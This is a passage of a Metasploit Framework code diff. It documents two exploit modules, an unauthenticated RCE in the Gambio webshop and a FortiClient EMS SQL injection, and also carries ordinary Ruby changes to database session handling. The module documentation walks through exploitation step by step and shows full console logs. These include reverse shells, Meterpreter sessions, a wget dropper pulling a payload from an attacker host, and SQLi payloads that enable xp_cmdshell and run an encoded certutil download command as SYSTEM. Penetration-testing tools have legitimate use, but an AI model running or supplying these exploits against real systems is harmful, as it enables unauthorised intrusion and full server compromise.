+Meterpreter : x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/http/gambio_unauth_rce_cve_2024_23759.md b/documentation/modules/exploit/multi/http/gambio_unauth_rce_cve_2024_23759.md new file mode 100644 index 000000000000..f8f3a182cb3d --- /dev/null +++ b/documentation/modules/exploit/multi/http/gambio_unauth_rce_cve_2024_23759.md @@ -0,0 +1,231 @@ +## Vulnerable Application + +A Remote Code Execution vulnerability in Gambio online webshop version `4.9.2.0` and lower allows remote attackers +to run arbitrary commands via unauthenticated HTTP POST requests. Gambio version 3 is not vulnerable. +The identified vulnerability within Gambio pertains to an insecure deserialization flaw, +which ultimately allows an attacker to execute remote code on affected systems. + +The insecure deserialization vulnerability in Gambio poses a significant risk to affected systems. +As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, +potentially resulting in complete system compromise, data exfiltration, or unauthorized access to sensitive information. + +This module has been tested with: +* Gambio online webshop `4.7.2.0` on Ubuntu `22.04` running in VirtualBox `7.0.14 r161095 (Qt5.15.2)`. + +## Installation steps to install the Gambio Online Webshop +* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform. +* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/). +* Download the Gambio Webshop software from [here](https://www.dmsolutions.de/gambio-download.html). +* Unzip the package `Gambio v4.7.2.0.zip` and install the Gambio Online Webshop on your Linux Virtual Machine +* using the installation instructions provided in the ZIP file. Do not use a Windows VM (see Limitations section). +* When installed, you should be able to access the Webshop either thru `HTTP` port 80 or `HTTPS` port 443 +* depending on your configuration settings. + +You are now ready to test the module. + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `use exploit/multi/http/gambio_unauth_rce_cve_2024_23759` +- [ ] `set rhosts ` +- [ ] `set rport ` +- [ ] `set target <0=PHP, 1=Unix Command, 2=Linux Dropper>` +- [ ] `exploit` +- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings + + +## Options + +### WEBSHELL +You can use this option to set the filename without extension of the webshell. +This is handy if you want to test the webshell upload and execution with different file names. +to bypass any security settings on the Web and PHP server. + +### COMMAND +This option provides the user to choose the PHP underlying shell command function to be used for execution. +The choices are `system()`, `passthru()`, `shell_exec()` and `exec()` and it defaults to `passthru()`. +This option is only available when the target selected is either Unix Command or Linux Dropper. +For the native PHP target, by default the `eval()` function will be used for native PHP code execution. + +## Scenarios +```msf +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > info + + Name: Gambio Online Webshop unauthenticated PHP Deserialization Vulnerability + Module: exploit/multi/http/gambio_unauth_rce_cve_2024_23759 + Platform: PHP, Unix, Linux + Arch: php, cmd, x64, x86 + Privileged: No + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2024-01-19 + +Provided by: + h00die-gr3y + usd Herolab + +Module side effects: + ioc-in-logs + artifacts-on-disk + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 PHP + 1 Unix Command + 2 Linux Dropper + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.201.25 yes The target host(s), see https://docs.metasploit.com/docs/using-metasplo + it/basics/using-metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes The Gambia Webshop endpoint URL + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + WEBSHELL no Set webshell name without extension. Name will be randomly generated if + left unset. + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address + on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + + + When TARGET is not 0: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + COMMAND passthru yes Use PHP command function (Accepted: passthru, shell_exec, system, exec) + +Payload information: + +Description: + A Remote Code Execution vulnerability in Gambio online webshop version 4.9.2.0 and lower + allows remote attackers to run arbitrary commands via unauthenticated HTTP POST request. + The identified vulnerability within Gambio pertains to an insecure deserialization flaw, + which ultimately allows an attacker to execute remote code on affected systems. + The insecure deserialization vulnerability in Gambio poses a significant risk to affected systems. + As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, + potentially resulting in complete system compromise, data exfiltration, or unauthorized access + to sensitive information. + +References: + https://nvd.nist.gov/vuln/detail/CVE-2024-23759 + https://attackerkb.com/topics/cxCsICfcDY/cve-2024-23759 + https://herolab.usd.de/en/security-advisories/usd-2023-0046/ + + +View the full module info with the info -d command. +``` + +### Target 0 - PHP native `php/meterpreter/reverse_tcp` session +```msf +msf6 > use exploits/multi/http/gambio_unauth_rce_cve_2024_23759 +[*] Using configured payload php/meterpreter/reverse_tcp +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set rhosts 192.168.201.25 +rhosts => 192.168.201.25 +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set ssl false +[!] Changing the SSL option's value may require changing RPORT! +ssl => false +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set rport 80 +rport => 80 +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set lhost 192.168.201.8 +lhost => 192.168.201.8 +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.201.25:80 can be exploited. +[+] The target appears to be vulnerable. It looks like Gambio Webshop is running. +[*] Executing PHP for php/meterpreter/reverse_tcp +[*] Sending stage (39927 bytes) to 192.168.201.25 +[+] Deleted GmacadJjQQOXMux.php +[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.25:60348) at 2024-03-24 09:15:50 +0000 + +meterpreter > sysinfo +Computer : cuckoo +OS : Linux cuckoo 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 +Meterpreter : php/linux +meterpreter > getuid +Server username: www-data +meterpreter > pwd +/var/www +meterpreter > exit +``` + +### Target 1 - Unix Command `cmd/unix/reverse_bash` session +```msf +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set target 1 +target => 1 +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.201.25:80 can be exploited. +[+] The target appears to be vulnerable. It looks like Gambio Webshop is running. +[*] Executing Unix Command for cmd/unix/reverse_bash +[+] Deleted UJoQmnhL.php +[*] Command shell session 2 opened (192.168.201.8:4444 -> 192.168.201.25:50728) at 2024-03-24 09:17:46 +0000 + +uname -a +Linux cuckoo 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux +id +uid=33(www-data) gid=33(www-data) groups=33(www-data),29(audio) +exit +``` + +### Target 2 - Linux Dropper `linux/x64/meterpreter/reverse_tcp` session +```msf +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > set target 2 +target => 2 +msf6 exploit(multi/http/gambio_unauth_rce_cve_2024_23759) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.201.25:80 can be exploited. +[+] The target appears to be vulnerable. It looks like Gambio Webshop is running. +[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp +[*] Using URL: http://192.168.201.8:8080/ODk0gcrj +[*] Client 192.168.201.25 (Wget/1.21.2) requested /ODk0gcrj +[*] Sending payload to 192.168.201.25 (Wget/1.21.2) +[*] Sending stage (3045380 bytes) to 192.168.201.25 +[+] Deleted gJlhCqCPLrR.php +[*] Meterpreter session 3 opened (192.168.201.8:4444 -> 192.168.201.25:46426) at 2024-03-24 09:18:23 +0000 +[*] Command Stager progress - 100.00% done (114/114 bytes) +[*] Server stopped. + +meterpreter > sysinfo +Computer : 192.168.201.25 +OS : Ubuntu 22.04 (Linux 5.15.0-101-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: www-data +meterpreter > pwd +/var/www +meterpreter > exit +``` + +## Limitations +Gambio is also supported on Windows systems, however the admin access seems to be broken on the vulnerable versions. +This causes the exploit not to run successfully. +Another dependency is that one or more tax countries should be defined in the configuration of the application, otherwise +guest users can not be created causing the exploit to fail. The default setup of the application has at least one tax country defined. diff --git a/documentation/modules/exploit/windows/http/forticlient_ems_fctid_sqli.md b/documentation/modules/exploit/windows/http/forticlient_ems_fctid_sqli.md new file mode 100644 index 000000000000..85cf302366d3 --- /dev/null +++ b/documentation/modules/exploit/windows/http/forticlient_ems_fctid_sqli.md @@ -0,0 +1,145 @@ +## Vulnerable Application +An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server). +FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized +platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which +can be sent directly into database queries. + +FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013 +and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database. +In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable +SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code +execution in the context of NT AUTHORITY\SYSTEM + +Affected versions of FortiClient EMS include: + 7.2.0 through 7.2.2 + 7.0.1 through 7.0.10 + +Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet. + +It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient +EMS for the necessary vulnerable services to be available. + +### Setup +You'll need two Windows hosts. One domain controller and one Windows 10 host (a domain controller might not be 100% +necessary however I used one and if you choose not to, your installation mileage may vary). The Windows 10 host will eventually +install the FortiClient EMS Client and will be managed by our FortiClient EMS Server to enable the services required +to exploit this vulnerability on the EMS Server. On the Windows 10 host set the the following Services to the following Startup Types: + - Task Scheduler: Automatic + - Windows Installer: Manual + - Remote Registry: Automatic + +Then either disable Windows Firewall completely or configure to allow the following inbound connections: + - File and Printer Sharing (SMB-In) + - Remote Scheduled Tasks Management (RPC) + +Now on the domain controller download the installer `FortiClientEndpointManagementServer_7.0.7.0398_x64.exe`. You will need +a FortiNet account to request a free trial. + +On the domain controller launch the installer. When it completes within the application you will be presented with a sign in page. +Enter username: "admin" with a blank password and click "Sign in" - this will prompt you to create a new password for the admin user. +Then authenticate with the new password. +A pop up window reading: "We didn't find any licenses for this EMS..." click "Try Free" and sign in with your FortiNet +account to request a free trial. + +Once FortiClient EMS has been launched, in the left hand side select System Settings > EMS Settings, then under Shared +Settings select "Use FQDN" and input the domain controller's FQDN. Ensure the FQDN is accessible by pinging it from the cmdline. +A pop up window reading: "The server will need to restart..." click "Yes". + +Scroll down to "EMS Settings". In the "FortiClient Download URL" replace the IP address with the domain controller's FQDN. +Click save. + +Next select System Settings > FortiGuard Services under Cloud Services set the timezone your server is located in. +Click Save. + +Under "Deployment & Installers" > "FortiClient Installer" on the right hand side select "Add". A pop up window will appear. + +For "Installer Type" select "Choose an official release". For "Release", choose 7.0 and for "Patch" choose 7.0.7 , click next. +For "Name" input "FCT_707" click next. +Keep all the defaults for the Features section and click next. +Keep all the defaults for the Advanced section and click next and then click Finish. + +Now you should have a Deployment Package with a Download Link. Navigate to that download link on your Windows 10 host +and download and install the .msi package. Once installed correctly you should see the Windows 10 host appear under the +"Endpoint" tab in the EMS Server. FortiClient EMS Server should now be exploitable. + +## Verification Steps + +1. Start msfconsole +1. Do: `use windows/http/forticlient_ems_fctid_sqli` +1. Set the `RHOST` and `LHOST` options +1. Run the module +1. Receive a Meterpreter session running in the context of `NT AUTHORITY\SYSTEM` + +## Scenarios +### FortiClient EMS 7.07.0398_x64 running on Windows Server 2019 (Domain Controller) +``` +msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200 +rhosts => 172.16.199.200 +msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost 172.16.199.1 +lhost => 172.16.199.1 +msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > options + +Module options (exploit/windows/http/forticlient_ems_fctid_sqli): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS 172.16.199.200 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8013 yes The target port (TCP) + VHOST no HTTP server virtual host + + +Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME FqgyHVSnYd no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces. + LHOST 172.16.199.1 yes The listen address (an interface may be specified) + LPORT 8383 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic Target + + + +View the full module info with the info, or info -d command. + +msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > +msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > run +[*] Reloading module... + +[*] Started reverse TCP handler on 172.16.199.1:8383 +[*] 172.16.199.200:8013 - Running automatic check ("set AutoCheck false" to disable) +[+] 172.16.199.200:8013 - The target is vulnerable. The SQLi has been exploited successfully +[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;-- was executed successfully +[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully +[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;-- was executed successfully +[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully +[*] Sending stage (201798 bytes) to 172.16.199.200 +[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; DECLARE @SQL VARCHAR(120) = CONVERT(VARCHAR(MAX), 0X636572747574696c202d75 +726c6361636865202d6620687474703a2f2f3137322e31362e3139392e313a383038302f7a524b42764743776d624662474c46336c4e6f486d772025 +54454d50255c6a744d45695362632e6578652026207374617274202f42202554454d50255c6a744d45695362632e657865); exec master.dbo.xp_cmdshell @sql;-- was executed successfully +[*] Meterpreter session 8 opened (172.16.199.1:8383 -> 172.16.199.200:57847) at 2024-04-11 14:00:22 -0700 + +meterpreter > getuid +syServer username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : DC2 +OS : Windows Server 2019 (10.0 Build 17763). +Architecture : x64 +System Language : en_US +Domain : KERBEROS +Logged On Users : 16 +Meterpreter : x64/windows +meterpreter > +``` diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 4a7a97367ca0..4e78db899cdb 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -32,7 +32,7 @@ def self.get_hash end end - VERSION = "6.4.5" + VERSION = "6.4.6" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/config.rb b/lib/msf/base/config.rb index adc6e22f077c..01ff7d68f1f0 100644 --- a/lib/msf/base/config.rb +++ b/lib/msf/base/config.rb @@ -228,13 +228,6 @@ def self.postgresql_session_history self.new.postgresql_session_history end - # Returns the full path to the PostgreSQL interactive query history file - # - # @return [String] path to the interactive query history file. - def self.postgresql_session_history_interactive - self.new.postgresql_session_history_interactive - end - # Returns the full path to the MSSQL session history file. # # @return [String] path to the history file. @@ -242,13 +235,6 @@ def self.mssql_session_history self.new.mssql_session_history end - # Returns the full path to the MSSQL interactive query history file - # - # @return [String] path to the interactive query history file. - def self.mssql_session_history_interactive - self.new.mssql_session_history_interactive - end - # Returns the full path to the MySQL session history file. # # @return [String] path to the history file. @@ -256,13 +242,6 @@ def self.mysql_session_history self.new.mysql_session_history end - # Returns the full path to the MySQL interactive query history file - # - # @return [String] path to the interactive query history file. - def self.mysql_session_history_interactive - self.new.mysql_session_history_interactive - end - def self.pry_history self.new.pry_history end @@ -376,26 +355,14 @@ def postgresql_session_history config_directory + FileSep + "postgresql_session_history" end - def postgresql_session_history_interactive - postgresql_session_history + "_interactive" - end - def mysql_session_history config_directory + FileSep + "mysql_session_history" end - def mysql_session_history_interactive - mysql_session_history + "_interactive" - end - def mssql_session_history config_directory + FileSep + "mssql_session_history" end - def mssql_session_history_interactive - mssql_session_history + "_interactive" - end - def pry_history config_directory + FileSep + "pry_history" end diff --git a/lib/msf/base/sessions/mssql.rb b/lib/msf/base/sessions/mssql.rb index 68df784899e2..4787f72909b0 100644 --- a/lib/msf/base/sessions/mssql.rb +++ b/lib/msf/base/sessions/mssql.rb @@ -8,6 +8,8 @@ class Msf::Sessions::MSSQL < Msf::Sessions::Sql def initialize(rstream, opts = {}) @client = opts.fetch(:client) + self.platform = opts.fetch(:platform) + self.arch = opts.fetch(:arch) self.console = ::Rex::Post::MSSQL::Ui::Console.new(self, opts) super(rstream, opts) diff --git a/lib/msf/base/sessions/postgresql.rb b/lib/msf/base/sessions/postgresql.rb index 37c72ed8b1e4..984a02743dec 100644 --- a/lib/msf/base/sessions/postgresql.rb +++ b/lib/msf/base/sessions/postgresql.rb @@ -9,6 +9,8 @@ class Msf::Sessions::PostgreSQL < Msf::Sessions::Sql # @param opts [Msf::Db::PostgresPR::Connection] :client def initialize(rstream, opts = {}) @client = opts.fetch(:client) + self.platform = opts.fetch(:platform) + self.arch = opts.fetch(:arch) @console = ::Rex::Post::PostgreSQL::Ui::Console.new(self) super(rstream, opts) end diff --git a/lib/msf_autoload.rb b/lib/msf_autoload.rb index 257eb0a4c57e..c03b7a959723 100644 --- a/lib/msf_autoload.rb +++ b/lib/msf_autoload.rb @@ -340,6 +340,8 @@ def finalize_loader(loader) autoload :MetasploitPayloads, 'metasploit-payloads' require 'rexml/document' +# Load IO#expect moneypatch +require 'expect' # XXX: Should be removed once the `lib/metasploit` folder is loaded by Zeitwerk require 'metasploit/framework/hashes' diff --git a/lib/postgres/postgres-pr/connection.rb b/lib/postgres/postgres-pr/connection.rb index c894e291d181..8047c438c291 100644 --- a/lib/postgres/postgres-pr/connection.rb +++ b/lib/postgres/postgres-pr/connection.rb @@ -129,12 +129,100 @@ def peerport @conn.peerport end + def peerinfo + "#{peerhost}:#{peerport}" + end + def current_database @params['database'] end - def peerinfo - "#{peerhost}:#{peerport}" + # List of supported PostgreSQL platforms & architectures: + # https://postgrespro.com/docs/postgresql/16/supported-platforms + def map_compile_os_to_platform(compile_os) + return Msf::Platform::Unknown.realname if compile_os.blank? + + compile_os = compile_os.downcase.encode(::Encoding::BINARY) + + if compile_os.match?('linux') + platform = Msf::Platform::Linux + elsif compile_os.match?(/(darwin|mac|osx)/) + platform = Msf::Platform::OSX + elsif compile_os.match?('win') + platform = Msf::Platform::Windows + elsif compile_os.match?('free') + platform = Msf::Platform::FreeBSD + elsif compile_os.match?('net') + platform = Msf::Platform::NetBSD + elsif compile_os.match?('open') + platform = Msf::Platform::OpenBSD + elsif compile_os.match?('solaris') + platform = Msf::Platform::Solaris + elsif compile_os.match?('aix') + platform = Msf::Platform::AIX + elsif compile_os.match?('hpux') + platform = Msf::Platform::HPUX + elsif compile_os.match?('irix') + platform = Msf::Platform::Irix + else + # Return the query result if the value can't be mapped + return compile_os + end + + platform.realname + end + + # List of supported PostgreSQL platforms & architectures: + # https://postgrespro.com/docs/postgresql/16/supported-platforms + def map_compile_arch_to_architecture(compile_arch) + return '' if compile_arch.blank? + + compile_arch = compile_arch.downcase.encode(::Encoding::BINARY) + + if compile_arch.match?('sparc') + if compile_arch.include?('64') + arch = ARCH_SPARC64 + else + arch = ARCH_SPARC + end + elsif compile_arch.include?('mips') + arch = ARCH_MIPS + elsif compile_arch.include?('ppc') + arch = ARCH_PPC + elsif compile_arch.match?('arm') + if compile_arch.match?('64') + arch = ARCH_AARCH64 + elsif compile_arch.match?('arm') + arch = ARCH_ARMLE + end + elsif compile_arch.match?('64') + arch = ARCH_X86_64 + elsif compile_arch.match?('86') || compile_arch.match?('i686') + arch = ARCH_X86 + else + # Return the query result if the value can't be mapped + arch = compile_arch + end + + arch + end + + # @return [Hash] Detect the platform and architecture of the PostgreSQL server: + # * :arch [String] The server architecture. + # * :platform [String] The server platform. + def detect_platform_and_arch + result = {} + + query_result = query('select version()').rows.join.match(/on (?\w+)-\w+-(?\w+)/) + server_vars = { + 'version_compile_machine' => query_result[:architecture], + 'version_compile_os' => query_result[:platform] + } + + result[:arch] = map_compile_arch_to_architecture(server_vars['version_compile_machine']) + result[:platform] = map_compile_os_to_platform(server_vars['version_compile_os']) + + result end def close diff --git a/lib/rex/post/sql/ui/console/interactive_sql_client.rb b/lib/rex/post/sql/ui/console/interactive_sql_client.rb index abc4ac7f878f..4eb440042aa8 100644 --- a/lib/rex/post/sql/ui/console/interactive_sql_client.rb +++ b/lib/rex/post/sql/ui/console/interactive_sql_client.rb @@ -67,19 +67,8 @@ def _winch # Try getting multi-line input support provided by Reline, fall back to Readline. def _multiline_with_fallback - name = session.type - query = {} - - # Multiline (Reline) and fallback (Readline) have separate history contexts as they are two different libraries. - framework.history_manager.with_context(history_file: Msf::Config.send("#{name}_session_history_interactive"), name: name, input_library: :reline) do - query = _multiline - end - - if query[:status] == :fail - framework.history_manager.with_context(history_file: Msf::Config.send("#{name}_session_history_interactive"), name: name, input_library: :readline) do - query = _fallback - end - end + query = _multiline + query = _fallback if query[:status] == :fail query end @@ -174,16 +163,6 @@ def _fallback attr_accessor :on_log_proc, :client_dispatcher - private - - def framework - client_dispatcher.shell.framework - end - - def session - client_dispatcher.shell.session - end - end end end diff --git a/lib/rex/proto/mssql/client.rb b/lib/rex/proto/mssql/client.rb index 4fa380efc36b..d4beb01ee6df 100644 --- a/lib/rex/proto/mssql/client.rb +++ b/lib/rex/proto/mssql/client.rb @@ -71,6 +71,57 @@ def initialize(framework_module, framework, rhost, rport = 1433, proxies = nil) @current_database = '' end + # MS SQL Server only supports Windows and Linux + def map_compile_os_to_platform(server_info) + return '' if server_info.blank? + + os_data = server_info.downcase.encode(::Encoding::BINARY) + + if os_data.match?('linux') + platform = Msf::Platform::Linux.realname + elsif os_data.match?('windows') + platform = Msf::Platform::Windows.realname + elsif os_data.match?('win') + platform = Msf::Platform::Windows.realname + else + platform = os_data + end + platform + end + + # MS SQL Server currently only supports 64 bit but older installs may be x86 + def map_compile_arch_to_architecture(server_info) + return '' if server_info.blank? + + arch_data = server_info.downcase.encode(::Encoding::BINARY) + + if arch_data.match?('x64') + arch = ARCH_X86_64 + elsif arch_data.match?('x86') + arch = ARCH_X86 + elsif arch_data.match?('64') + arch = ARCH_X86_64 + elsif arch_data.match?('32-bit') + arch = ARCH_X86 + else + arch = arch_data + end + arch + end + + # @return [Hash] Detect the platform and architecture of the MSSQL server: + # * :arch [String] The server architecture. + # * :platform [String] The server platform. + def detect_platform_and_arch + result = {} + + server_vars = query('select @@version')[:rows][0][0] + + result[:arch] = map_compile_arch_to_architecture(server_vars) + result[:platform] = map_compile_os_to_platform(server_vars) + result + end + # # This method connects to the server over TCP and attempts # to authenticate with the supplied username and password diff --git a/lib/rex/proto/mssql/client_mixin.rb b/lib/rex/proto/mssql/client_mixin.rb index 153f582d59d2..684b9c529e9c 100644 --- a/lib/rex/proto/mssql/client_mixin.rb +++ b/lib/rex/proto/mssql/client_mixin.rb @@ -79,7 +79,7 @@ def mssql_print_reply(info) ) info[:rows].each do |row| - tbl << row + tbl << row.map{ |x| x.nil? ? 'nil' : x } end print_line(tbl.to_s) @@ -175,7 +175,6 @@ def mssql_parse_tds_reply(data, info) col[:utype] = data.slice!(0, 2).unpack('v')[0] col[:flags] = data.slice!(0, 2).unpack('v')[0] col[:type] = data.slice!(0, 1).unpack('C')[0] - case col[:type] when 48 col[:id] = :tinyint @@ -195,6 +194,50 @@ def mssql_parse_tds_reply(data, info) col[:value_length] = data.slice!(0, 2).unpack('v')[0] col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '') + when 109 + col[:id] = :float + col[:value_length] = data.slice!(0, 1).unpack('C')[0] + + when 108 + col[:id] = :numeric + col[:value_length] = data.slice!(0, 1).unpack('C')[0] + col[:precision] = data.slice!(0, 1).unpack('C')[0] + col[:scale] = data.slice!(0, 1).unpack('C')[0] + + when 60 + col[:id] = :money + + when 110 + col[:value_length] = data.slice!(0, 1).unpack('C')[0] + case col[:value_length] + when 8 + col[:id] = :money + when 4 + col[:id] = :smallmoney + else + col[:id] = :unknown + end + + when 111 + col[:value_length] = data.slice!(0, 1).unpack('C')[0] + case col[:value_length] + when 4 + col[:id] = :smalldatetime + when 8 + col[:id] = :datetime + else + col[:id] = :unknown + end + + when 122 + col[:id] = :smallmoney + + when 59 + col[:id] = :float + + when 58 + col[:id] = :smalldatetime + when 36 col[:id] = :guid col[:value_length] = data.slice!(0, 1).unpack('C')[0] @@ -206,6 +249,15 @@ def mssql_parse_tds_reply(data, info) when 50 col[:id] = :bit + when 99 + col[:id] = :ntext + col[:max_size] = data.slice!(0, 4).unpack('V')[0] + col[:codepage] = data.slice!(0, 2).unpack('v')[0] + col[:cflags] = data.slice!(0, 2).unpack('v')[0] + col[:charset_id] = data.slice!(0, 1).unpack('C')[0] + col[:namelen] = data.slice!(0, 1).unpack('C')[0] + col[:table_name] = data.slice!(0, (col[:namelen] * 2) + 1).gsub("\x00", '') + when 104 col[:id] = :bitn col[:int_size] = data.slice!(0, 1).unpack('C')[0] @@ -328,8 +380,100 @@ def mssql_parse_tds_row(data, info) end row << str.gsub("\x00", '') + when :ntext + str = nil + ptrlen = data.slice!(0, 1).unpack("C")[0] + ptr = data.slice!(0, ptrlen) + unless ptrlen == 0 + timestamp = data.slice!(0, 8) + datalen = data.slice!(0, 4).unpack("V")[0] + if datalen > 0 && datalen < 65535 + str = data.slice!(0, datalen).gsub("\x00", '') + else + str = '' + end + end + row << str + + when :float + datalen = data.slice!(0, 1).unpack('C')[0] + case datalen + when 8 + row << data.slice!(0, datalen).unpack('E')[0] + when 4 + row << data.slice!(0, datalen).unpack('e')[0] + else + row << nil + end + + when :numeric + varlen = data.slice!(0, 1).unpack('C')[0] + if varlen == 0 + row << nil + else + sign = data.slice!(0, 1).unpack('C')[0] + raw = data.slice!(0, varlen - 1) + value = '' + + case varlen + when 5 + value = raw.unpack('L')[0]/(10**col[:scale]).to_f + when 9 + value = raw.unpack('Q')[0]/(10**col[:scale]).to_f + when 13 + chunks = raw.unpack('L3') + value = chunks[2] << 64 | chunks[1] << 32 | chunks[0] + value /= (10**col[:scale]).to_f + when 17 + chunks = raw.unpack('L4') + value = chunks[3] << 96 | chunks[2] << 64 | chunks[1] << 32 | chunks[0] + value /= (10**col[:scale]).to_f + end + case sign + when 1 + row << value + when 0 + row << value * -1 + end + end + + when :money + datalen = data.slice!(0, 1).unpack('C')[0] + if datalen == 0 + row << nil + else + raw = data.slice!(0, datalen) + rev = raw.slice(4, 4) << raw.slice(0, 4) + row << rev.unpack('q')[0]/10000.0 + end + + when :smallmoney + datalen = data.slice!(0, 1).unpack('C')[0] + if datalen == 0 + row << nil + else + row << data.slice!(0, datalen).unpack('l')[0] / 10000.0 + end + + when :smalldatetime + datalen = data.slice!(0, 1).unpack('C')[0] + if datalen == 0 + row << nil + else + days = data.slice!(0, 2).unpack('S')[0] + minutes = data.slice!(0, 2).unpack('S')[0] / 1440.0 + row << DateTime.new(1900, 1, 1) + days + minutes + end + when :datetime - row << data.slice!(0, 8).unpack("H*")[0] + datalen = data.slice!(0, 1).unpack('C')[0] + if datalen == 0 + row << nil + else + days = data.slice!(0, 4).unpack('l')[0] + minutes = data.slice!(0, 4).unpack('l')[0] / 1440.0 + row << DateTime.new(1900, 1, 1) + days + minutes + end when :rawint row << data.slice!(0, 4).unpack('V')[0] diff --git a/lib/rex/proto/mysql/client.rb b/lib/rex/proto/mysql/client.rb index fc31d82d2d89..692250228b60 100644 --- a/lib/rex/proto/mysql/client.rb +++ b/lib/rex/proto/mysql/client.rb @@ -32,25 +32,25 @@ def current_database # List of supported MySQL platforms & architectures: # https://www.mysql.com/support/supportedplatforms/database.html def map_compile_os_to_platform(compile_os) - return Msf::Platform::Unknown.realname if compile_os.blank? + return '' if compile_os.blank? compile_os = compile_os.downcase.encode(::Encoding::BINARY) if compile_os.match?('linux') - platform = Msf::Platform::Linux + platform = Msf::Platform::Linux.realname elsif compile_os.match?('unix') - platform = Msf::Platform::Unix + platform = Msf::Platform::Unix.realname elsif compile_os.match?(/(darwin|mac|osx)/) - platform = Msf::Platform::OSX + platform = Msf::Platform::OSX.realname elsif compile_os.match?('win') - platform = Msf::Platform::Windows + platform = Msf::Platform::Windows.realname elsif compile_os.match?('solaris') - platform = Msf::Platform::Solaris + platform = Msf::Platform::Solaris.realname else - platform = Msf::Platform::Unknown + platform = compile_os end - platform.realname + platform end def map_compile_arch_to_architecture(compile_arch) @@ -65,13 +65,17 @@ def map_compile_arch_to_architecture(compile_arch) arch = 